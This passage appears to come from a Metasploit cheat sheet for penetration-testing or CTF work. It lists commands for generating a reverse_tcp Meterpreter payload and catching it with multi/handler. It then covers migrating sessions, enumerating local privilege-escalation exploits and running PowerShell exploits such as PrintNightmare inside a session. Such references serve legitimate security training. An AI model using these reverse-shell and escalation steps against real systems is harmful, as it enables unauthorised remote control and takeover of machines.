Generate a standalone payload file (e.g. windows/x64/meterpreter/reverse_tcp, -f exe).
use exploit/multi/handler
Load the generic listener module to catch a callback from a standalone payload.
set payload <payload>; set lhost <ip>; set lport <port>; run
Configure and start the handler, matching whatever msfvenom generated.
Post-Exploitation (Meterpreter)
Command
Description
ps
List processes on the target — check the Session column for an interactive session ID to migrate into.
migrate <pid>
Move the current Meterpreter session into another process — needed when the session starts in a non-interactive context (session 0, e.g. spawned by a service or WinRM).
use multi/recon/local_exploit_suggester; set session <id>; run
Enumerate local privilege-escalation modules that plausibly apply, based on patch-level fingerprinting.
load powershell
Load the PowerShell extension into the current Meterpreter session.
powershell_import <path>
Import a .ps1 script’s functions into that PowerShell session.
powershell_execute '<command>'
Run a PowerShell command/function (e.g. an imported exploit’s entry point) inside the session.
Tips & Tricks
A session caught from a service that spawns non-interactively (WinRM’s wsmprovhost.exe, a scheduled task, IIS worker process) usually lands in session 0 — ps to find an interactive session-1 process (commonly explorer.exe) and migrate into it before relying on modules that expect an interactive desktop context.
local_exploit_suggester only lists what looks plausible from version/patch fingerprinting — cross-reference candidates against what’s actually confirmed on the box (an installed driver name, a running service) rather than trying every suggestion blindly.
The PowerShell extension (load powershell / powershell_import / powershell_execute) is a fast way to run an existing .ps1 exploit (e.g. PrintNightmare (CVE-2021-1675)‘s Invoke-Nightmare) directly inside an established Meterpreter session, without needing a separate upload-then-execute step.